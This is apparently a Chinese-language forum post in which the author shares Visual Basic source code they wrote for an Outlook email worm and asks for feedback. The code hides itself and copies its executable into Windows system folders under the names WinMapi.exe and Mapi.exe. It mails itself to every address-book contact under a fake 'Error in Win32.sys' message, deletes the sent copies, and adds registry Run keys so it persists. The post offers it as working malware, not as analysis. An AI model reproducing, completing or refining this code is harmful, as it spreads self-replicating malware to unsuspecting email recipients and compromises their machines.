以下为源码:
Sub Main() App.TaskVisible = False On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 Location = App.Path & "\\" & App.EXEName & ".exe" Location2 = App.Path & App.EXEName & ".exe" DesLocation = "C:\\WINDOWS\\SYSTEM\\WinMapi.exe" DesLocation2 = "C:\\WINNT\\SYSTEM\\Mapi.exe" FileCopy Location, DesLocation FileCopy Location2, DesLocation FileCopy Location, DesLocation2 FileCopy Location2, DesLocation2 Dim Var1, FilePath, FileName, FullLocation, MyApp Dim Christmas, List, AddList, AddressListCount Dim Merry, AdEntries, Attachs, Msg Var1 = "True" FilePath = App.Path FileName = App.EXEName FullLocation = FilePath & "\\" & FileName Set MyApp = CreateObject("Outlook.Application") If MyApp = "Outlook" Then Set Christmas = MyApp.GetNameSpace("mapi") Set List = Christmas.AddressLists For Each Addresslist In List If Addresslist.AddressEntries.Count <> 0 Then AddressListCount = Addresslist.AddressEntries.Count For AddList = 1 To AddressListCount Set Merry = MyApp.CreateItem(0) Set AdEntries = Addresslist.AddressEntries(AddList) Merry.To = AdEntries.Address Merry.Subject = "Error" Merry.Body = "Error in Win32.sys" Set Attachs = Merry.Attachments Attachs.Add FullLocation If Var1 = "true" Then Merry.DeleteAfterSubmit = True If Msg.To <> "" Then Merry.send End If End If Next Beep End If Next End If Dim Reg Set Reg = CreateObject("wscript.Shell") Reg.RegWrite "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\ _ Windows\\CurrentVersion\\Run\\Mapi", _ "C:\\WINNT\\SYSTEM\\Mapi.exe" Reg.RegWrite "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\ _ Windows\\CurrentVersion\\Run\\WinMapi", _ "C:\\WINDOWS\\SYSTEM\\WinMapi.exe" End Sub
这是我做的,如有不足请多多指教.